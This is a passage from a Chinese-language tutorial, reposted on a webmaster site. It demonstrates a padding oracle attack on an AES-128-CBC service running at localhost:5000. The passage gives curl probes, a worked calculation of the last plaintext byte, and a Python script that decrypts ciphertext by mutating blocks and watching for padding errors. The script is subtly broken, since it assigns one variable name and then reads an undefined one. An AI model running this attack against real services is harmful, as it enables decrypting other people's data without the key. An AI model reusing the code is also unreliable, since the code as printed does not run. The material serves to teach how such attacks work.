| 
                         该应用可以接收一个明文返回其密文(enc),也可以接收密文返回对应信息。 
- $ curl http://localhost:5000/enc/See_you_in_Red_Square_at_4_pm 
 - 00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455 
 -  
 - $ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455 
 - valid 
 -  
 - $ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8466 
 - Error: Padding is incorrect. 
 
  
作为攻击者,我们拿到的只有加密后的信息,目的就是要将其解密,查看明文内容: 
- 00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455 
 
  
方便起见,我们假设已知服务器使用的是AES-128-CBC加密算法,且IV组合在密文头部。其实不知道也没关系,只不过需要多试几次罢了。根据前面介绍的原理,我们先将密文分割成128/8=16字节的3个块: 
- block[0] = '00000000000000000000000000000000' 
 - block[1] = 'c8ab1c881b40d54d81d1efab429ad239' 
 - block[2] = 'dac1d6573e7c26d533ffc3cbc23a8455' 
 
  
经测试,当服务器遇到填充错误会返回Error: Padding is incorrect.或者Error: PKCS#7 padding is  incorrect.,那么这就可以作为我们Padding Oracle攻击的依据。 
首先将block[1]最后一字节从0×00开始到0xff不断变异尝试,发现当值为0x3b时候出现了非Padding错误,此时: 
- I2[15] = _C1[15] ^ _P2[15] = 0x3b ^ 0x01 = 0x3a 
 
  
则明文最后一字节为: 
- P2[15] = I2[15] xor C1[15] = 0x3a ^ 0x39 = 0x03 
 
  
依此类推,不断从后往前猜解每个字节的值。一个简单的自动化脚本如下: 
- #!/usr/bin/env python3 
 - import time 
 - import requests 
 - import binascii 
 -  
 - url = 'http://localhost:5000/dec/'  
 - data = '00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455' 
 - BSIZE = 16 
 -  
 - def test(data): 
 -     r = requests.get(url + data) 
 -     return r.text 
 -  
 - b = binascii.unhexlify(data) 
 - nblocks = int(len(b) / BSIZE) 
 - blocks = [] 
 - print('nblocks:', nblocks) 
 - for i in range(nblocks): 
 -     bblk = b[i*BSIZE: (i+1)*BSIZE] 
 -     print(f'block[{i}] =', binascii.hexlify(blk)) 
 -     blocks.append(blk) 
 - print('iv:', b[:BSIZE]) 
 -  
 - blockID = -1 
 - prevID = blockID - 1 
 -  
 - print(f'decrypting block[{blockID}], prev =', binascii.hexlify(blocks[prevID])) 
 -  
 - plaintext = bytearray(16) 
 - inter = bytearray(16) 
 - for byteIdx in range(BSIZE-1, -1, -1): 
 -     prevBlock = bytearray(blocks[prevID]) 
 -     print(f'mutating block[{prevID}][{byteIdx}]') 
 -     origin = prevBlock[byteIdx] 
 -     padValue = BSIZE - byteIdx 
 -     # 将byteIdx之前的值可以任意随机设置 
 -     for i in range(byteIdx): 
 -         prevBlock[i] = 0x11 
 -     # 将byteIdx之后的值设置为令其明文为padValue的值 
 -     for i in range(byteIdx + 1, BSIZE): 
 -         prevBlock[i] = inter[i] ^ padValue 
 -     print('begin:', prevBlock.hex()) 
 -     found = False 
 -     for val in range(0x100): 
 -         prevBlock[byteIdx] = val 
 -         _blocks = blocks.copy() 
 -         _blocks[prevID] = bytes(prevBlock) 
 -         payload = b''.join(_blocks) 
 -         payload = binascii.hexlify(payload).decode() 
 -         resp = test(payload) 
 -         # print(f'testing', binascii.hexlify(prevBlock), '->', resp, end='r') 
 -         if 'incorrect' in resp: 
 -             continue 
 -         i2 = padValue ^ val 
 -         p2 = origin ^ i2 
 -         inter[byteIdx] = i2 
 -         plaintext[byteIdx] = p2 
 -         print(f'found c={val}, i={padValue}^{val}={i2}, o={origin}, p={p2}') 
 -         found = True 
 -         break 
 -     if not found: 
 -         print('Error: no valid value found') 
 -         break 
 - print('plaintext =', plaintext) 
 
                          (编辑:滁州站长网) 
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! 
                     |